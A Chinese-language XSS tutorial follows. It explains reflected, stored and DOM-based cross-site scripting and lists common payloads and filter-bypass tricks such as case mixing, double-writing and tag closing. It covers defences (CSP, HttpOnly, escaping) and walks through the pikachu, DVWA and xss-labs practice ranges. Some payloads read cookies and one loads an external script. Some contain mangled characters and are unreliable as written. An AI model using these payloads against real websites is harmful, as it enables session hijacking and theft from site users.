OWASP 之跨站脚本xss基础技能
- 一.XSS概述
- 二.漏洞危害
- 三.XSS漏洞绕过方法
- 1.手工测试XSS步骤
- 2.常见xss
- 3.绕过方法
- 四.xss防御方法
- a.CSP内容安全策略
- b.HttpOnly
- c.输入输出检查
- d.使用防御函数
- 五.pikachu靶场
- 1.反射型XSS(get)
- 2.反射型XSS(post)
- 3.存储型XSS
- 4.DOM型XSS
- 5.DOM型XSS-X
- 6.xss盲打
- 7.xss之过滤
- 8.xss之htmlspecialchars
- 9.xss之href输出
- 10.xss之js输出
- 六.DVWA靶场
- 1.LOW
- (1)xss(Reflected反射型)
- (2)xss(Dom)
- (3)xss(Stored存储型)
- 2.Midium
- (1)xss(Reflected反射型)
- (2)xss(Dom)
- (3)xss(Stored存储型)
- 3.High
- (1)xss(Reflected反射型)
- (2)xss(Dom)
- (3)xss(Stored存储型)
- 七.xss-labs靶场
- 1.LV1
- 2.LV2
- 3.LV3
- 4.LV4
- 5.LV5
- 6.LV6
- 7.LV7
- 8.LV8
- 9.LV9
- 10.LV10
一.XSS概述
XSS中文叫做跨站脚本攻击(Cross-site scripting),本名应该缩写为CSS,但是由于CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(js)来完成恶意的攻击行为。
是一种经常出现在web应用中的计算机大全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?
XSS是指恶意攻击者利用网站对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者访问者进行病毒侵害的一种攻击方式。
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
二.漏洞危害
植入键盘记录器。
攻击受害者所在的局域网。
代理转发流经被攻击者的所有 Web 流量,即实施中间人攻击。
窃取或篡改应用 cookie 用于会话劫持。
更改被攻击者 Web 应用的显示内容。
绕过 CSRF 安全防护措施。
创建包含恶意 JavaScript 代码的虚假网站以及到该网站页面的链接。
发送嵌入恶意 Web URL 的电子邮件。
使用 URL 短码隐蔽真实 URL。
三.XSS漏洞绕过方法
1.手工测试XSS步骤
1、找到测试点(搜索框、留言板)
2、根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。
例子:’<>?"&/6666
3、如果有过滤则进行相关的绕过
2.常见xss
<input onclick=alert(360)>
<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus><input autofocus>
<script>alert(1)</script>#最普通的xss
<script>alert(document.cookie)</script> #获取cookie
<script src='http://baidu.com/xss.js'></script> # 外部攻击代码
<img src=x onerror=alert(/xss/)> #加载图形失败执行
<iframe onload=alert('xss')> #框架
<svg onload=alert(1)>
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<body onload=alert(1)>
<style onload=alert(1)></style>
<input onmouseover=alert(1)> (简单防绕过)
3.绕过方法
</script><script>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt> 大小写绕过
onfocus=javascript:alert('xss') //事件绕过
<sc<script>ript>alert(/xss/)</script> 双写绕过
oonnfocus=javascripscriptt:alert('xss')双写绕过
" oonnfocus=javascriscriptpt:alert('xss')>引号闭合+>双写绕过
``<script>alert(1)</script>反引号绕过(绕过单双引号的过滤)
"> <script>alert(1)</script>关闭标签(利用<>关闭标签)
<a href="javascript:alert('xss')">xss</a> #a链接的xss,E7.0|IE6.0,才能执行
<img src=1 onerror=alert(1)> 图片链接绕过
"><a href="javascript:alert('xss')">xss</a>关闭标签链接绕过
"><ScRiPt>alert(1)</ScRiPt> 大小写加关闭标签绕过
四.xss防御方法
a.CSP内容安全策略
CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。
b.HttpOnly
HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Jsese读取到Cookie,但即使设置了HtpOnly属性,也仍有方法获取到Cokie值。如:
CVE-2012-0053、PHPINFO页面/、Flash/Java API
c.输入输出检查
常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
d.使用防御函数
trim() //函数从字符串的两端删除空白字符和其他预定义字符
stripslashes() //删除反斜杠
substr_replace(st1,st2,n) //str1 为原始字符串,str2为替换的字符串,n代表替换位置,第n位之后替换
addslashes() //在预定义字符之前添加反斜杠的字符串
strip_tags() //剥去字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars()//把预定义的字符转换为 HTML 实体
五.pikachu靶场
1.反射型XSS(get)
反射型也称为非持久型,这种类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中。
F12找到源码位置
发现可以直接修改maxlength,将其改大点输入payload
payload:
<script>alert('xss')</script>
或<script>alert(document.cookie);</script>
效果:
2.反射型XSS(post)
输入用户名密码admin 123456
使用<script>alert(document.cookie);</script>
提交
弹出对话框说明注入成功,成功获取cookie
3.存储型XSS
攻击者将已经构造完成的恶意页面发送给用户,用户访问看似正常的页面后收到攻击,这类XSS通常无法直接在URL中看到恶意代码,具有较强的持久性和隐蔽性。
输入payload提交:<script>alert("xss")</script>
会弹出对话框,同时保存一条信息到留言列表
再次输入任意留言都会自动弹框
说明成功注入
此外在页面切换,然后再次切换回来,发现弹窗依然存在,说明我们输入的语句已经被存储起来。
这就是存储性与反射性永久性和一次性的区别,会永久的存储在数据库中。
4.DOM型XSS
什么时DOM
简单来说DOM文档就是一份XML文档,当有了DOM标准之后,DOM便将前端html代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端,所以DOM型xss在js前端自己就可以完成数据的输入输出,不与服务器产生交互,这样来说DOM型xss也可以理解为反射性xss。
尝试输入123,F12定位代码what do you see?
然后输入
'><img src="#" οnmοuseοver="alert('xss')">或
' onclick="alert('xss')">
构造之后的完成语句:
<a href= ’ ’ οnclick=’ ’ alert(’ xss’ )’ ’ >’ >what do you see?
说明完成闭合οnclick=" alert(’ xss’ )" >>what do you see?是另一个语句了
'>what do you see?
点击它会出现弹框,说明注入成功
5.DOM型XSS-X
可以看出仍然使用了字符串拼接
此处我们同样输入payload:
'><img src="#" οnmοuseοver="alert('xss')">或
' onclick="alert('xss')">
构造闭合
注入后要点击两次才能看到弹框
6.xss盲打
XSS盲打:它不是一种XSS漏洞的类型,它其实是一种XSS一种的攻击场景。
payload:<script>alert('xss')</script>
提交后转到提示给出的网址
登录后发现被注入了,说明攻击成功
7.xss之过滤
显然做了过滤,需要想办法绕过,让其输出不一样的语句
payload:使用大小写绕过:<scriPt>alert('xss')</scriPt>
或者
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
其中88,83,83是xss的ascii编码
8.xss之htmlspecialchars
**htmlspecialchars() 函数:**把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体,把 < 和 > 转换为实体常用于防止浏览器将其用作 HTML 元素。
该函数默认不过滤单引号,只有设置才可以过滤单引号;
payload:'onclick='alert("xss")'
输入后点击弹框
而其他的输入点击都会跳到如下界面,可见引号起到了闭合的作用
onclick用法:按钮文本
或链接<a href = οnclick=“执行的 PHP 代码”>
9.xss之href输出
绕js:payload:javascript:alert(“xss”)
10.xss之js输出
由于这里将输入都动态转成了javascript,因此先将script闭合可以实现注入
payload:</script><script>alert("xss")</script>
六.DVWA靶场
1.LOW
(1)xss(Reflected反射型)
没有过滤,Hello后面直接加payload
payload:<script>alert("xss")</script>
(2)xss(Dom)
由于是get表单提交方式:在url后面直接追加payload:<script>alert("xss")</script>
(3)xss(Stored存储型)
也是没有过滤:在message输入payload
payload:<script>alert("xss")</script>
2.Midium
(1)xss(Reflected反射型)
发现把script去掉了
使用双写绕过:<sc<script>ript>alert(/xss/)</script>
或大小写绕过:<ScRiPt>alert(“xss”)</ScRiPt>
(2)xss(Dom)
直接追加payload的方法行不通了,应该是script被过滤了
针对此处做构造,首先闭合option,然后闭合select
图片链接绕过payload:</option></select><img src=1 onerror=alert("xss")>
(或使用超链接标签绕过也行)
(3)xss(Stored存储型)
这个也是一样,script被去掉了,而且引号被转义了
发现所有方法都不行,改变方向使用name做为注入点,首先修改长度
Name处输入payload:<script>alert(‘xss’)</script>
3.High
(1)xss(Reflected反射型)
发现所有的绕过方法都没用
使用图片链接绕过:<img src=1 onerror=alert(‘xss’)>
(2)xss(Dom)
#<script>alert("xss")</script>
回车刷新下页面,
#代表网页中的一个位置。其右面的字符,就是该位置的标识符。比如,http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后,会自动将print位置滚动至可视区域。起到跳转的作用
(3)xss(Stored存储型)
七.xss-labs靶场
1.LV1
看不到输入栏,只能在url拼接payload
<script>alert(1)</script>
2.LV2
关闭标签绕过payload:”><script>alert(1)</script>
3.LV3
可选payload:
' οnmοuseοver='alert(/xss/)
' οnclick='alert(/xss/)
4.LV4
发现<>都被去掉了,怎么办
这是对上一题的升级了,单引号换成了双引号
" οnmοuseοver="alert(/xss/)
5.LV5
什么情况左边的script多了一个_,完全不知道怎么继续下去了
可以发现script和onclick都被过滤了
构造一个新的链接:"><a href=javascript:alert('xss')>xss</a>
,点击xss
6.LV6
大小写加关闭标签绕过:"><ScRiPt>alert(1)</ScRiPt>
7.LV7
使用双写绕过:oonnfocus=javascripscriptt:alert('xss')
使用引号闭合+>双写绕过" oonnfocus=javascriscriptpt:alert('xss')>
8.LV8
所有的方法都不行,考虑用编码绕过,先将里的javascript:alert(‘xss’)转成unicode编码
javascript:alert(‘xss’)
否则的话javascript会变成javascr_ipt
9.LV9
输入javascript:alert('xss')
链接也被过滤了
输入:javascript:alert('xss')'http://www.baidu.com'
和之前一样javascript被过滤了,编码试下
javascript:alert('xss')//http://www.baidu.com
10.LV10
通过观察三个隐藏标签得知需要给t_sort赋值才不报错
&t_sort=" type="text" οnclick="alert('xss')
免责声明:
本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。
本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。
本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。
本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。
最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。